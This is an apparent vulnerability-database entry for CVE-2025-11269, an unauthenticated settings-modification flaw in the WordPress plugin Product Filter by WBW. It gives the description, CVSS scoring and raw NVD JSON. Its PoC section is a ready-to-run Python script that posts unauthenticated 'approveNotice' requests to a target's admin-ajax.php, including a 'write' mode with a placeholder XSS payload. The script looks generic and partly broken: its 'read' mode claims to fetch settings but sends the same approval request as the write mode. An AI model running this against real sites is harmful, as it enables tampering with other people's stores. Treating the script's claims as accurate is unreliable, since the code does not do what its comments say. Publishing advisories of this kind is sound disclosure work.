Security Vulnerability Report
中文
CVE-2025-11269 CVSS 5.3 MEDIUM

CVE-2025-11269

Published: 2025-10-25 06:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Product Filter by WBW plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'approveNotice' action in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to update the plugin's settings.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Product Filter by WBW (woo-product-filter) <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11269 PoC - Unauthorized settings modification # Target: Product Filter by WBW plugin for WordPress (<= 3.0.0) # Vulnerability: Missing capability check on 'approveNotice' action def exploit(target_url, action_type='read'): """ Exploit the missing authorization vulnerability action_type: 'read' to retrieve settings, 'write' to modify settings """ # Target WordPress installation target = target_url.rstrip('/') ajax_endpoint = f"{target}/wp-admin/admin-ajax.php" if action_type == 'read': # Read current plugin settings data = { 'action': 'approveNotice', 'notice_id': '1', 'approve': '1' } elif action_type == 'write': # Modify plugin settings (example: inject XSS payload) data = { 'action': 'approveNotice', 'notice_id': '1', 'approve': '1', 'settings': 'malicious_payload_here' } else: print(f"[-] Unknown action type: {action_type}") return False try: # Send request without authentication response = requests.post(ajax_endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11269-poc.py <target_url> [read|write]") print("Example: python cve-2025-11269-poc.py http://target.com read") sys.exit(1) target_url = sys.argv[1] action = sys.argv[2] if len(sys.argv) > 2 else 'read' print(f"[*] Targeting: {target_url}") print(f"[*] Action: {action}") exploit(target_url, action)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11269", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:35.107", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Product Filter by WBW plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'approveNotice' action in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to update the plugin's settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/wpcodefactory/woo-product-filter/commit/313f69908cadc31fa9c1e098ff989dc4f75dfdb5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3382669%40woo-product-filter&new=3382669%40woo-product-filter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/03b1d518-0e5d-4c28-af04-52611ad583a8?source=cve", "source": "[email protected]"}]}}